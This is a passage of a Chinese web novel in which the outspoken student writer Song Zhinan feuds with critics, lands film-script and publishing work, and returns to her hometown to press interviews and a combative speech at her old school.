记者们也联系了河西大学,河西大学相关负责人在核实确认后,便做出了开除孙耀祖的决定。 按照相关法律规定,孙耀祖窃取他人答案、胁迫他人作弊,且影响非常恶劣,应该会判3年以下有期徒刑。 周老师在这期的班会上,语重心长地说道:“同学们,你们以后一定要记住,不要试图去走捷径,要去走正路,正路虽然艰难,但那是唯一的路。” 班会散后,同学们仍没有离开,还在热烈地讨论着这件事。 生活委员周鹏突然向宋知南发问:“宋同学,我记得你是第一个说孙耀祖同学作弊的,请问你当时是发现了什么吗?” 宋知南:“我觉得从思想上逻辑上智商上来看,孙耀祖都不像一个大学生。” 李长胜说道:“我也总跟你辩论,你是不是也觉得我不像个大学生?我在此跟大家郑重声明:我绝对绝对没有作弊,我是超常发挥,走了狗屎运。” 白光宗也站起来说道:“我也没有作弊。” 宋知南面带微笑,往下压压手:“我也没说你们两个作弊,你们要相信公道自在人心。不过,好人架不住坏人言,开水经不起凉水点。你们两个本来就不咋地,以后交朋友都谨慎些吧。” 因为孙耀祖的事情,白光宗和李长胜等人受到了严重的打击,突然安静了许多。 少了这几个上窜下跳的挑事者,班里的气氛融洽多了。 男女同学之间也不像之前那么剑拔弩张了。 当这些男同学换一种眼光看待宋知南,就发现她这人挺好的。人家虽然很有名气,但并没有架子,为人热情正直,大气有格局。你只要别犯贱,人家也不会打你的脸。 除了祝景星三人外,那些一直在徘徊观望的男同学们也开始得宋知南靠拢。 宋知南表现得很大度:“你们看我说得对,我只是讨厌咬人的恶狗,并不是讨厌所有的狗,事实上我家里还养了狗。我弟弟跟你们一样恶劣,后来硬被我给掰过来了。这就叫做一正圧百邪,你姐毕竟是你姐。” 这帮男同学只能沉默以对。 宋知南获得了500个杠精值,喜滋滋地离开了。 宋知南也分别收到了陆清云和胡记者的来信,他们以自己的角度讲述了孙耀祖作弊事件。 胡记者在信中表示感谢宋知南,送他这么一个大新闻,虽然他挨了顿打,但挨得值呀。现在河东河西两省谁不知道他胡为先。 陆清云也热切地表示:跟宋知南交朋友真是好处多多,大家既然是朋友了,以后有什么新闻千万别忘了她。胡为先虽然也不错,但他毕竟是男人,男人哪有女人贴心呢。 宋知南先给胡记者回信:“你这次做得非常棒,敢深入虎穴,河东首席名记非你莫属。” 她也给陆清云回信:“你说得对,男人哪有女人贴心。我宣布你以后就是我最好的记者朋友,有新闻绝对忘不了你。对了,孙家堡大队的那两名知青怎样了?” 陆清云回复道:“他们也是受害者,应该不会处罚他们。我会继续跟进此事,有进展就告诉你。” 宋知南因为前段时间的密集写作和骂战,身体有些疲倦,就打算放松几天,逛逛公园,逛逛街。前程虽然很重要,但也不能把每个四季都错过。 现在的商品供应比以前好了许多,可以买到不要票的东西。宋知南买了些当地的特产,回寄给那些同学们,还给魏芬和大姐家寄了些东西回去。 宋知南还顺便给李群英寄了些补品过去,李群英回寄给她两本书,并附寄了一封简信:“不用给我寄吃的,我这儿什么都不缺,你要给我寄稿子,寄稿子。” 宋知南打算休息几天,再开工。她最近心情极好,看到绽放的鲜花,开心;看到拂堤的绿柳也开心,想到已经滚蛋的孙耀祖,开心;听说那个骂他的人被气病了,她更开心。 看来女人只要保持好心态,善于斗争,男人不但伤害不了你,还能给你提供源源不断的杠料和笑料。又是顿悟的一天。 宋知南大步走在春风里,人比春风还得意。 上午第一节课是新开的课——《文艺理论》,讲师叫罗宣,三十多岁。大家私下里叫他罗旋。 罗宣夹着讲义走进教室的时候,同学们不由得眼前一亮,无他,这人长得不错也没秃,在一众又老又秃的男老师中显得是那么的鹤立鸡群。 罗宣简单介绍了自己几句,便开始上课。 “宋知南同学是哪位?” 宋知南听到点名,起身应道:“老师,我就是。” 罗宣冲宋知南笑了一下,接着问道:“宋同学,你的小说我也看了,我想以读者的身份问你一个问题:在你的文里为什么很少有正面的男性角色呢?我承认,现实生活中确实有你文中所写的那种人,但是同样的,也有很多正面的男性角色啊。” 宋知南面带微笑地答道:“罗老师,文学作品中的男性形象太多了,不论是正面的反面的,还是不正不反的,你想什么样的都有。相反,我们女性形象太少了。女人在男人的叙事中没有名字没有性格,她们通常只是一个扁平的、单一的符号。 胡适在《野蛮时代的悲悯与关爱》中说:东西方传统文化中,所有正面的女性形象都包含了自我牺牲,而所有正面的男性都是歌颂自我成就。譬如白素贞、田螺姑娘、人鱼公主、王宝钏、南丁格尔……几千年来,整个社会都在倡导女性的“无我主义”。 而我就想写些不一样的,我就想写一些又坏又叛逆,又尖酸刻薄的女主角。 毕竟,创造完美男性的角色的作家那么多,又不缺我一个;但创造不完美有力量女主角的那么少,就缺我这个。 文坛急需一大批女性视角的小说,需要各样各样的女主角,更需要像我这样的作家,要不然,这个文坛就不完整。 您教《文艺理论》就更明白: 干我们这行的,最忌讳没有自我随大流; 万绿丛中一点红,我就是要与众不同。 您说,我说得有没有道理?” 罗宣点头微笑:“宋同学,真是闻名不如见面,你确实很有辩才,我觉得你说得很有道理。” 罗宣先肯定,然后准备再来但是,只是他还没来得转折,宋知南便接着说道:“罗老师,您跟别的老师不一样,您虚怀若谷、思想解放、心胸宽广,完全跳出了与生俱来的狭隘的男性视角,您不但是一个完整的老师,还是一个优秀的老师。您更新了我对男老师的认识,如果以后我要写正面的老师形象,您肯定有一席之地。” 课堂上又突然安静下来,罗宣欲言又止,默默地把剩下的话咽回去了。 “宋同学的发言很好很有道理,下面,我们开始正式上课。” 罗宣的课讲得中规中矩,上完课,他照例要跟周好古沟通一下。 “这个宋知南并不像传闻中的好辩好斗,我觉得她的话还是很有道理的。” 周好古很有兴致地问道:“她跟你说什么了?” 罗宣眼角含笑,一字不落地复述了宋知南的话。 周好古心中有千言万语,最后只说了一句:“年轻就是好啊。”年轻的老师好忽悠,年轻的老师有自信。宋知南是真敢夸,罗宣是真敢信。 下课后,于蓝小声问宋知南:“老四,罗老师真有那么好吗?”她怎么看不出来? 王琳笑着说:“我觉得他不太中。” 宋知南一边收拾课本一边回道:“我也就那么一说,一群太监进后宫,他们中不中,咱们当皇帝的最清楚。” 第139章 宋知南的话音一落, 女生中爆发出一阵大笑声,把大家伙惊得虎躯一震。 刚开学时, 除了宋知南之外,这帮女同学都挺文静,说话细声细语,连笑也是微笑浅笑。 现在好嘛,时不时地哈哈大笑,说话声越来越大,吵架越来越凶。班里的男同学们从不适应到慢慢适应到相视苦笑。 女生们笑够了,做为文艺委员的王琳开始游说宋知南:“老四,南姐,五一劳动节联欢会,你是不是得出个节目啊?” 宋知南爽快答应:“行, 我出一个, 我唱《红色娘子军连歌》。” 宋知南说着, 即兴唱了几句:“向前进,向前进, 战士的责任重, 妇女的冤仇深。” 其他女同学也大胆地跟着一起唱。 男同学们你看看我,我看看你,她们都这样了,还冤仇深?他们的冤仇又向谁说去? 响亮的歌声飘在教室里,也飘向了五一联欢会上。中文系全体女生一齐登台亮相,来个大合唱。 张小凤本来不敢上台,宋知南告诉她, 大合唱是可以划水的,你只要假装张开嘴就行了, 反正也不差你一个。 张小凤生平第一次登上了这么大的舞台,台下上千双眼睛看着她,她开始挺紧张,只能闭眼唱,唱着唱着,突然发现自己不紧张了。舞台也不过如此嘛。 张小凤打开了新世界的大门,她想起自己是想留校当大学老师的,当老师怎么能不敢上台呢,练习,必须得练习。 五一联欢会后,中文系期中考试的成绩也出来了。 宋知南仍然稳居第一,张小凤第二,马招云第三,魏秋月第四,前十名仍然有八名是女生。 但这次男同学们没有一个敢说三道四,因为宋知南在班里提前说了:“为什么那么多男同学就孙耀祖跳得最厉害?因为他心里虚啊。他知道自己的真实水平如何,他害怕自己次次考倒数第一会引起老师和学校的注意,所以才把大家的注意力往别的方面引。正常人看到别人比自己考得好,一般会反省自己不努力,谁会朝别的方面想呢。只有心虚的人会。 综上所述,我们可以得出一个简单的结论:打压女生的男生都是弱者和懦夫,都是因为心里虚。因为强者从来不惧竞争。高手常感寂寞,盼着对手越强越好;低手经常妒忌,生怕别人超过自己。” 她这话一说出来,就堵死了那些想拿女生成绩说事的人。不但把中文系男生的嘴堵住了,把别系男生的嘴也给堵住了。 大家再遇到这种人的第一反应是:你是不是也心虚?你是不是也是作弊的? 一时间,河西大学的男生不说人人自危也差不多了,都怪孙耀祖那个害群之马。 宋知南看着大家这样,心满意足地笑了。 走别人的路,让别人无路可走,这只是第一步。你还得再往前走一步,那就是要提前封死他们的路,他们不但无路可走,还得在原地打转。 女人不能总是陷入受害者情绪里,还得时不时地跳出来,站在高处,当一个做局的人,让别人也尝一尝受害者的痛苦。换位不换位思考无所谓,她就想让他们多吃点苦,磨炼一下他们。 当一个加害者很爽很爽,凡是当过的人都知道。 宋知南现在不但是加害者,还是一个引路者。女同学有拿不准的问题都会来向她请教,她自然也会酌情给出建议。 今天来咨询的是张小凤,张小凤想考本校的研究生,可是她又想早点出来工作孝顺奶奶,现在正在纠结矛盾。 宋知南问道:“小凤,你的理想是什么?” “理想?我其实想当大学老师。” “那我的建议是你继续读研甚至读博。虽然我们这一届本科生也可以留校,但咱们国家已经走上正轨,以后的大学生会越来越多的。你留在大学当老师,本科学历以后可能会不够用。” 张小凤一脸纠结:“我也问过周老师,他也是这么建议的。可是,我的家庭情况你知道的,我爸去世得早,我妈改嫁了,从小和奶奶相依为命,我上学都是靠两个姑姑支助。我想早点出来工作挣钱孝顺我奶奶报答我姑姑。我要是考研究生又得推迟三年工作。” 宋知南说:“挣钱不急于一时,你以后有的是挣钱的机会。而且不一定非得毕业了才能挣钱,在学校也可以的。我现在手头就有一个工作可以介绍给你们。咱们市的七一电影厂制片厂,准备拍一部主旋律电影作为建国三十周年献礼,他们向我发出邀请,让我去当兼职编剧,帮忙改改剧本之类的。我对这种工作兴趣一般,但还是打算接下来分给你们干。” 张小凤诧异道:“还能这么干吗?” “能的。他们拍的是主旋律电影,调子台词都是有套路的,允许个人发挥的空间很少,他们请我去也只是看中我的名气而已。” 宋知南回宿舍后就把电影制片厂的事告诉大家。 魏秋月一听也有些心动,她考虑了一会儿,说道:“老四,你看这样行吗?我们几个接手你的工作,但署名还是你的,钱你分大头,我们拿小头就行。毕竟这份工作靠你的名气拿来的。” 大家一致赞同魏秋月的提议。 宋知南却不赞同:“署名不能只写我一个人,所有参与编剧的都尽量写上,这一点我会尽量帮你们争取,钱平分就行。另外就是,电影厂还需要一些打杂人员,我也尽量帮你们争取两个名额。” 于蓝说道:“老四,我去打杂,我想近距离接触那些明星。” 王琳笑道:“我跟于蓝一起去。” 最终大家伙商定,张小凤马招云魏秋月赵清波负责改剧本,于蓝和王琳去打杂,而谢欣然要回家过暑假。 301宿舍的女生跟过年一样,欢呼雀跃。 放暑假前,宋知南又收到了一波样刊和稿费,她的稿子散见于全国各级杂志,国家级杂志像《播种》、《九月》、《果城》、《现代》有她的小说,但这些大杂志版面有限,他们发不了的或者不适合发表的,就流向《燕京文学》、《燕京文艺》、《杂文周刊》。河西省的几家杂志《西山》、《河西文学》、河东省的《河东文学》、《东湖》都找她约过稿,宋知南也都给了。 那些评论家们就跟宋知南杠上了,她每发表一篇小说,他们就像是闻着味道的狗一样,追上来就开始狂吠。其中,赵远和叶致秋吠得最狠。叶致秋一边吃药一边写文骂宋知南。 宋知南自然也不惯着,变着花样回骂他们。 当一天和尚撞一天钟,写一天文发一天疯。发疯真舒服,越疯越舒服。 《一轮圆月天上挂,叶致秋就是个大笑话》,《三三得九,看看赵远这条狗》、《穷猴光腚,欺软怕硬》。 宋知南发疯后舒服了,读者们有眼福了,长见识了,叶致秋又气病了。 他们都有光明的未来。 读者们发现,原来骂人还能这么骂,骂得如此有文采有深度,关键是有趣啊。宋知南简直是他们疲惫生活中的一抹亮色,工作得累了倦了,就看一眼宋知南的文章,笑一笑,提提精气神。 围观者觉得有趣,被骂的人可不这么觉得。 首都著名喷子赵远现在是四面楚歌,以前他也骂过不少人,但大家骂不过他,只能沉默应对,他强任他强,清风拂山岗。现在好嘛,又出现了一个更强的,那大家还等什么?跟着强者的脚步走啊。 于是,大家纷纷引用宋知南的话骂他:你这条狗又开始狂吠了,你吃屎吃惯了,吃不惯细粮是吧?来人界修行几十年了,还不会说人话。你真可怜。 赵远的承受能力是比一般人强,但强也是有限度的。当大家群起而骂他时,他也承受不住了气病了。 这一轮骂战,把宋知南的名气又往上推了一层。别人朝她扔石头,她就拿来垫脚,结果越垫越高。 宋知南的名气更大之后,就迎来了一名访客,她就是《河东文学》的主编洪环宇。 洪环宇今年三十多岁,刚当上主编,就准备撸起袖子大干一场,一听说他们河东省出了个新锐作家,她立即就赶了过来。 学校旁边的国营饭店里,两人相对而坐。 洪环宇寒暄道:“宋老师,你的名声真是如雷贯耳,闻名不如见面,见面胜似闻名。” 宋知南说道:“洪环宇,你这个名字大气,一听就是干大事的料。” 洪环宇:“宋老师,你才是大笔写大字,大人干大事。实不相瞒,我们出版社想出版你的文集。” 两人商业互吹一般,就进入了谈判阶段,河东出版社想出一套宋知南文集,一共3本,分别是《长篇小说集》、《中短篇小说集》、《杂文集》。因为不知道市场行情怎样,预计先出版3万本,版税暂定为10%,以后视销量情况再上涨。 两人迅速达成了协议,签订了出版合同。 洪环宇很会搞宣传,书还没出来,她已经开始放出风声说要出宋知南的书,而且她还让社里的编辑写文学评论夸宋知南,有的文章夸得宋知南自己都觉得肉麻。 什么新时代新型女作家,什么鲁迅棺材里惊坐起,夸宋知南是砸破铁屋的人。还夸宋知南是一缕清风,吹散了文坛的陈年灰尘。 有些读者就是墙头草,哪边风大就往哪边倒。之前,赵远等人骂宋知南,他们也觉得骂得有道理;现在有人组团夸宋知南,他们也觉得夸得有道理。 这一骂一夸,一推一拉,跟读者的羁绊就深了。 喜欢宋知南的读者们翘首以盼,等着书籍出版;厌恶宋知南的人准备买一套,搜集证据好好骂她;不喜欢也不厌恶宋知南的读者心中也充满了好奇,也准备买一套看看她到底写了啥,为什么那么两极分化。 宋知南的名气越来越大,合作邀请也越来越多。 继七一电影制片厂后,西齐电影厂也找上门来要宋知南去改稿,宋知南趁机又接了一个活, 301宿舍的女生们两个活一起干。 王琳和于蓝虽然是打杂的,但两人乐此不疲。张小凤马招云魏秋月赵清波四人更是兢兢业业。 宋知南今年暑假不打算回家了,准备专心写稿。没两天,她收到了宋知夏和宋冬宝的来信。 宋知夏表示半年没见了,她很想她,大家也很想她。 宋冬宝的信里满是哀怨:“三姐,都一个学期了,你都不想我吗?你哪怕不想我,也得想想小虎和黑米啊。我们仨天天盼星星盼月亮,好容易盼到暑假,你却说你不回来了。我们好难过啊。” 宋知南想了一下,她对宋冬宝不怎么想念,但她有点想她的小虎和黑米。 那就回去吧,她懒得写信了,直接发了份电报,说预计7月16号回到家。 宋冬宝接到电报时还在上班,一看三姐要回来,激动得跳了起来,赶紧向管他的小领导请假。 小领导摇头叹息,这个宋冬宝啊,真是上班如拉纤,下班如射箭。罢了罢了,他不跟这种人计较。 宋知夏和宋冬宝挥汗如雨地在搞大扫除。 邻居们一听说宋大作家要回来了,二话不说就过来帮忙干活。 王大爷嫌宋家门口的地面不平整,还特意找了块好看的青石板铺在地上。 赵大妈跑去市场买了几盆月季花放在门口,院子里大扫除干净了,大杂院外面的路也扫一扫吧。 刘大爷从家里拿来几个灯笼挂上,别人看他们院里张灯结彩的,就有人问:“你们院里谁家办喜事啊?” 王大爷骄傲地说道:“喜事算什么,是个人都能办,是我们院里的大作家要回来了。” “谁啊?” “宋知南啊,你连她都不知道。” “她啊,知道知道。” 宋大作家要回乡的事,一传十,十传百,很快,整个厂区的人都知道了,紧接着,胡记者他们也知道了,必须得来采访啊,几家报纸也紧锣密鼓地准备起来了。 宋知南的母校——原来叫厂区联合中学,现在更名为青阳四中。 四中校长听说后,也开始琢磨起来了,首都有个四中,他们也叫四中,以后是不是可以对标一下?以前不敢想,现在学校出了个名人,可以想了。这一次务必得请宋知南来学校演讲。 气氛越来越热烈,街道办事处也加入进来:“咱们青阳市好不容易出了个名人,必须得好好保护,咱们去给大家伙做做思想工作,要让他们统一思想认识,不该说的别往外说,该说的使劲说。” 第140章 街道办事处的工作人员开始行动, 他们首先得跟一批跟宋知南有“特殊交情”的人去谈话。 第一个被谈话的人就是马五妮。 马五妮斜眼看着工作人员:“你们啥意思,为啥不找别人谈话, 就找我?难道我是那种没觉悟的人吗?” “老马同志,如果有人采访你,问你宋知南的事,你怎么说?” “我怎么说?我肯定实话实说。——我就说宋知南是个好同志,人大气有心胸,我跟她作对,但她一点都不计较。还帮我治好了病。” 工作人员诧异地问道:“什么?宋知南还会治病?” 马五妮想了想,虽然现在政策宽松了,但搞封建迷信这事吧,明目张胆地说出去还是有些不太好。 于是她立即改口:“她治好了我思想上的病。” “哦哦,我说呢。” 马五妮之后是林光宗。 “林同志, 如果记者采访你, 你知道该怎么说了吧?” 林光宗不耐烦地说:“知道知道。” 这帮人离开后, 林光宗就开始发牢骚:“这些人也真是的,不就一个作家吗?这阵仗怎么搞得跟大领导下来视察似的?” 王小雪在旁边说道:“什么叫不就一个作家吗?说得好像你当过似的。咱们青阳这儿多少年也没出过一个作家呀。你真是没觉悟, 你要是再不长进, 我就跟你离婚,什么玩意儿,以前忍你那是没办法,我现在可以不忍你。” 林光宗无奈地放柔了语气:“行行,咱们别吵了好不好?都老夫老妻了,还去离婚,丢不丢人?” 街道办的工作人员下一个目标是王强家, 王强当初跟宋知南在食堂骂战的事影响也挺大的,到现在厂区的人都还记得。 工作人员问王强的父母:“你儿子跟宋知南起过冲突是吧?” 王强爸:“是我儿子年轻不懂事, 宋同志骂得好骂得对,不愧是作家,骂起人来入木三分。一般人没这个语言功力。” 工作人员走访了一圈,心里的那块石头落下了。看来大家都挺懂事的。 宋知南人还没回来,省里的记者们倒先来了。这也得归功于洪环宇。是她劝这些记者先下手为强:“宋知南是咱们河东省的名作家,你们不去采访,难道等着隔壁省的记者们先去采访?新闻就讲究一个时效性,还用我这个外行提醒你们吗?” 记者们一听,顿觉有理,于是呼啦啦一下涌向了青阳市。胡记者他们傻眼了,有人来抢饭碗了。 胡记者火速找陆清云商量:“怎么办?咱们要不要跟他们去抢新闻?” 陆清云一脸淡定:“咱俩是谁?是宋知南的老朋友。到时候,找她要一个独家专访不过份吧?那帮同行想采访就去采访吧。况且,这样做也是帮宋知南。” 胡记者不懂就问:“为什么这么说?” 陆清云:“你对一个人一件事,是不是越是一知半解,越觉得美好?” 胡记者恍然大悟,确实,对人一知半解时最好下手夸。 这帮记者有的去采访红星纺织厂的领导,有的去采访群众。 孙副厂长说道:“我以前就看出来宋同志是个人才,我那时就经常鼓励她要好好写作。” 孙主任点头附和:“说实话,宋知南能取得今天的成就,我一点都不奇怪。我们曾经进行过一次深刻的谈话,我到现在都记得。 几年前,她那时也就十五六岁吧,就很有理想很有志向,当着我的面说她要成为无产阶级大作家,就是像高尔基那样的大作家。” 胡明亮科长也接着说道:“我也曾经有幸跟宋知南交流过思想,怎么说呢,她的思想非常深刻,见解非常独特,振聋发聩。” 采访完领导,妇联办公室是做为宋知南战斗过的地方是必须要采访的。 现在的妇女主任是王翠花,记者们一提起宋知南,王翠花就打开了话匣子:“我早就知道我这个妹子将来一定是个了不起的人物,她聪明智慧,热心仗义。没有她就没有我的今天,我相信很多人都是我这种想法。” 记者问:“这里面还挂着很多女工们送给宋知南的锦旗和字画是吗?” “对,一般是送给她的,也有两幅是送给我的。” 采访完妇联,自然还要采访那帮女工。 女工们交口称赞,有些人还险些泪流满面:“宋主任是真好呀,没有她我们厂的女工不可能有那么多人考上大学,我去年没考上,在她的鼓励下,今年又考了一次。” 记者们采访完女工,又到了宋知南以前居住的大杂院里,只见院子里里外外打扫得干干净净,张灯结彩的。 记者一问起宋知南的事,邻居们便争先恐后地抢答。 赵大妈挤在最前面:“小南这孩子,从小就跟的孩子不一样,爱读书爱学习,尊老还爱幼。最关键的是有了名气也不摆架子。” 王大爷:“知南的身上还有着一种大人物特有的冷静和果断。我早说了这孩子一定能成大事。” …… 记者们采访一圈下来,总觉得哪里不对劲,这跟他们想像中的宋知南不一样啊,一个敢在报纸杂志上跟人公开对骂的人,性格会那么温和吗? 还有人另辟蹊径去采访了王红兵,就是当初被宋知南当街痛揍的红小兵。 王红兵已经参加工作了,人也稳重了许多,他字斟句酌地说:“……我们都叫她南姐,她跟别人不一样,充满着侠气。我对她印象很深刻,一辈子也忘不了。有时半夜想起来,还能记得她鼓励我的话。” “她鼓励你什么了?” 王红兵支支吾吾,最后说出一句:“她叫我一定要老老实实做人。”当然,宋知南是掐着他的脖子说的。 等到采访牛春草时,她得意地拿出一盒茶叶:“你们看看,这是宋同志上大学后给我寄的东西,她还给我回了信。我跟你说,我活这么大,就没见过这么好的人。她不是人,她是下凡的仙女,是文曲星下凡。你们一定把我这句话给写上。” 记者:“……” “听说有个算命的老先生说她是文曲星下凡,有这回事吗?” “应该是老张说的,他整天研究这些。” 记者又去采访张大爷。 张大爷扶扶老花镜,做出一副高深莫测的模样:“哦,你说小宋。我确实说过她是文曲星下凡,她的文昌星很亮,将来必将颠覆文坛。” “张大爷,您是怎么看出来的?” “我算的呀。” “大爷,您能给我算算吗?” 张大爷要来记者的八字,煞有其事的掐指算了一会儿,问道:“你还没结婚吧?” “没呢。” “是不是你稀罕的看不上你,看上你的你不稀罕?” 记者一脸震惊:“大爷,您真是神了。” 张大爷继续问:“你是不是总觉得自己怀才不遇,自己的才能没得到充分发挥?” “大爷,您真的太准了。” 张大爷淡然一笑:“这不算什么,我们姓张的在修道算命方面是有点天赋的。” 记者离开后,张大爷的儿子小张出来了:“爸,你怎么突然算得这么准了?” 张大爷:“是人都会这样,有几个不是高不成低不就的?又有哪个文化人不觉得自己怀才不遇的?” 小张一想也对。 “爸,那宋知南呢?你是咋看出来的?” “这个是真算出来的,这姑娘太特别了,我一眼都能看出她的不凡来。” …… 宋知南人还在路上,关于她的报道已经开始满天飞。 宋冬宝这几天一直在看报纸,越看报,他越不认识自己的姐姐。 宋冬宝把一叠报纸推到宋知夏面前:“二姐,你看看这篇报告,除了名字地点一样,哪哪都不一样。还有这些邻居们,明明人名都那么熟悉,但他们说的话咋那么陌生呢?” 姐姐以前的口碑如何,他做为弟弟再清楚不过。 宋知夏说:“这很正常。我早看出来了,只要你成功了,你做什么都是对的。你骂人是因为口才好,你打人是因为动手能力强,你懒是因为知道如何节省精力。” 宋冬宝好像理解了但又没有完全理解。 7月16日刚好是星期日,宋冬宝宋知夏还有院里的赵大妈王大爷刘大爷等一大帮人来青阳火车站接站,省城的那帮记者和胡记者等人也在。 别的乘客们一看到这种阵仗都在纳闷,今天是哪个大人物来视察了。 宋知南一下火车就看到了举着牌子接站的宋冬宝和宋知夏,再一看,他俩身后还有一大群人,熟的不熟的全来了。 她矜持地朝大家招手示意。 赵大妈说道:“这上了大学就是不一样了,你看小南的举止都文雅了。” 王大爷纠正道:“不是上了大学才变文雅的,是一直都文雅。” “对对,一直都文雅。” 刘大爷在旁边说道:“文化人嘛,怎么能不文雅呢。” 他们还没来得及上前打招呼,那帮记者就呼地一下冲上去了,闪光灯闪个不停。 “宋老师,您家乡的人对您交口称赞,说您是个和善温柔的人,可您的文风却很犀利尖锐,您在生活中一直都反差这么大吗?” 宋知南:“这叫不叫反差大,这叫区别对待。对待敌人当然要秋风扫落叶般冷酷无情,对待自己同志要像春天般温暖。天都有四季,人不可以有两面吗?” “说得好。”在场的人热烈鼓掌。 “宋老师,我听说您的老对手,首都的赵远和河西的叶致秋准备见面,您对此有什么看法?” 宋知南这才知道原来赵远和叶致秋要见面了,不过见就见呗,也没什么大不了。 她面带微笑:“他们两人见面,我不奇怪。养过狗的都知道,疯狗总是吸引疯狗;见过精神病的也都知道,精神病总是吸引精神病。” 众人:“……” 片刻之后,赵大妈突然一拍大腿:“小南说得对啊,不愧是作家,精神病确实吸引精神病。” 王大爷附和道:“还真是,不正常的人总爱凑一起玩,像咱们这种聪明的也爱凑一堆。这叫啥,物以类聚,人以群分。” “对对。” …… 宋知南在火车站被记者们拦住采访了半个多小时,好容易到家了。青阳四中的校长和她以前的班主任胡老师又登门来拜访,他们想请宋知南回母校去做个演讲。 宋知南筋疲力尽,本能地想拒绝,突然想到,自己母校的学妹们还没受到自己的引导呢,去,必须得去。 她立即爽快答应:“换了别人邀请,我自然是要拒绝的。但,谁让你们是我母校的校长和班主任呢。这样吧,我先休息一会儿,明天上午去。” 校长和胡老师满意地离开了。 终于可以清静一会儿了,宋知南大声喊道:“小虎,黑米,赶紧过来。” 小虎轻巧地跳进了她的怀里,不停地用毛茸茸的头蹭着宋知南。 黑米拖着沉重的身子摇着尾巴过来了。 宋知南一看黑米怀孕了,便大喝一声:“宋冬宝,你怎么回事?你连个狗都看不住。” 宋冬宝身上的肉跟着颤了一下,连忙解释:“姐,不怪我,是黑米偷偷地跟别的狗好了,我去给她做绝育,医生拿白眼翻我,说人都没得做,你让狗来做绝育。” 宋知夏赶紧劝道:“黑米怀上就怀上了,生的崽咱都养着。” 宋知南叹了口气,也只能这样了。 她摸了一下黑米,对宋冬宝说:“行啦,好好给她补补营养。” 宋知南吃过午饭,去睡了长长的午觉。醒来时,已是下午四点了。 宋知夏和宋冬宝一看她醒了,赶紧往桌上端菜。 宋冬宝兴奋地报菜名:“大伯母送来了一条鱼,赵大妈送来了半斤虾,魏芬姐又送来了一只鸡……” “这些邻居们可真热情呀。” 宋知南吃了顿丰盛的晚餐,休息一会儿,开始写明天的演讲稿。 次日上午九点钟,宋知南回到了阔别八年的母校,母校没什么变化,还是那么破,等她有大钱了,就捐个图书馆。等大家有钱了,就忽悠有钱的捐几栋教学楼。 宋知南坐在主席台上,望着台下几千双眼睛,直接开讲:“同学们上午好,我是你们的学姐宋知南。我在写作上取得了一些成绩,校长和我的班主任胡老师邀请我回来跟你们随便聊聊,鼓励鼓励你们。你们都是我的学弟学妹,咱们都是自己人,我对自己人向来是实话实说,不打折扣。 学妹们,我在这里告诉你们我的心得体会,你们记得告诉别的女生:我们女生都擅长读书学习,我们中文系前十名里有八个女生;我们女生还擅长写作,我们情感细腻,天生格局大,看得远想得深,既有天赋还刻苦。我们不成功谁成功? 我们女生不仅适合当作家,还适合当数学家、科学家、外交家。 我们还是天生的政治家,天生的干部。 那些说咱们女生不适合理科的,学习没有后劲的,一般脑子不好使,智商有缺陷。你们千万不要相信,谁说的都不要完全相信。 你们不要因为别人的职位和年龄,就给对方无条件的尊重。 你们要敢于质疑一切,你们有权力质疑一切权威,包括我质疑我。我为什么取得这么大的成就?就是因为我从小就怀疑一切,我连我爸妈的话都不信,如果他们的话是对的,他们为什么活得那么惨?我质疑身边一切大人的话,如果他们是对的,为什么他们连自己的一生都没过好?他们连自己的人生都过不好,凭什么可以指导我?” 女同学们先是一脸震惊,不是,这样的话可以公开说吗? 震惊过后,她们再一齐看向旁边的老师和校长。 他们上次就这么说过。 校长和部分老师的脸色很不好看,但也只能听着。 宋知南接着往下说:“跟学妹们说完话,我也跟学弟们说几句:你们要好好学习,好好做人。要尊重女生,热爱劳动,讲文明讲卫生。要当一个新时代的好男人。” 宋知南的演讲简短有力,毕竟她上学时,就讨厌别人长篇大论。 演讲结束就到了提问环节。 一个女生大胆地站起来提问:“宋学姐,有的老师和家长总是说我们女生没有后劲,现在成绩好没用,等上了高中就不行了,那我们该怎么办呢?” 宋知南:“所以我教你们要敢于质疑一切,不要相信他们的话。” 有个男同学站起来愤愤地问道:“你凭什么说他们说得不对?” 宋知南面带微笑:“就凭我是作家,我是无产阶级、性别为女的作家。他们说女生不行,怎么我就成为作家了呢?怎么我就考上大学呢了?不光是我,我的两个姐姐,我们红星纺织厂的二百多个女工怎么就考上大学了呢?” 杠精值1580,她杠到了一大片。 女生的眼里闪烁着光芒。 男生的眼里全是怀疑和不服。 一个四十多岁的男老师,实在忍无可忍地站起来问道:“宋同志,你在公开场合这么说是不是不太好?” 公开场合说话不应该很谨慎吗? 宋知南:“我记得你,你是牛老师,你以前在班里就讲过这种话吗?班里难道不是公开场合吗?你为什么要那么讲呢?” 牛老师:“……” 杠精值30。 宋知南继续问道:“牛老师,你说男生有后劲,你今年四十多了,你的后劲发挥出来了吗?你爸你爷爷呢,他们的后劲发挥出来了吗?” 杠精值30。 哄闹的现场突然安静下来了。 从来没见过攻击力这么强的名人。 校长突然抚额叹气,他怎么也没想会是这种场面。 宋知南笑着给自己的演讲收尾:“好了,同学们,今天就说到这里吧。这些话既是现在的我想说的,也是以前的我想说的,更是千千万万个女中学生想说的。当年的我和女同学们听着某些老师和校领导在台上大放厥词,我就在台下想着,如果有一天我敢大声反驳他们就好了。感谢校长,给了我这次机会。学妹们,咱们高处相见。将来如果有人请你们去演讲,记得学一学我,我永远是你们的榜样,不一样的榜样。” 140-150 第141章 宋知南的演讲给母校青阳四中吹进了一缕劲风。 四中的女生们这两天讨论最多的话题是:“你觉得宋姐姐说得对吗?” “肯定对。她是河西大学的大学生, 还是个作家,她若是说得不对, 难道那些一事无成的人就说得对?” “也是哦。” “她说我们女生适合学习,适合当数学家、科学家、作家。我也觉得我适合当作家。” “我理科好,我觉得我适合当科学家。” “那我文科理科都不好怎么办?” “你适合当政治家。” “那我呢,我各科都很平均,可我就爱讲话。” “那你当老师吧。” …… 宋知南在母校演讲的原文很快就流传了出来。 大家对此毫不诧异,“宋同志说得对啊,就是这样。倒是那些老师少见多怪。” “可是,她毕竟是个名人了,在公开场合这么说不太好吧?” “名人怎么了?名人也是人,名人也得有人性也得说人话。名人跟名人是不一样的,你就是见得名人太少了。” “不是, 好像你见的名人很多似的。” 宋知南的演讲不但没给她带来负面影响, 相反又收获了一波忠粉。 咱们的宋同志就是跟别人不一样, 成名后也不说那些套话屁话,而是坚持说人话。你知道说人话的名人有多么可贵吗? 四中校长对于大家的这个反应也是一脸诧异, 再仔细想想, 其实也不奇怪。 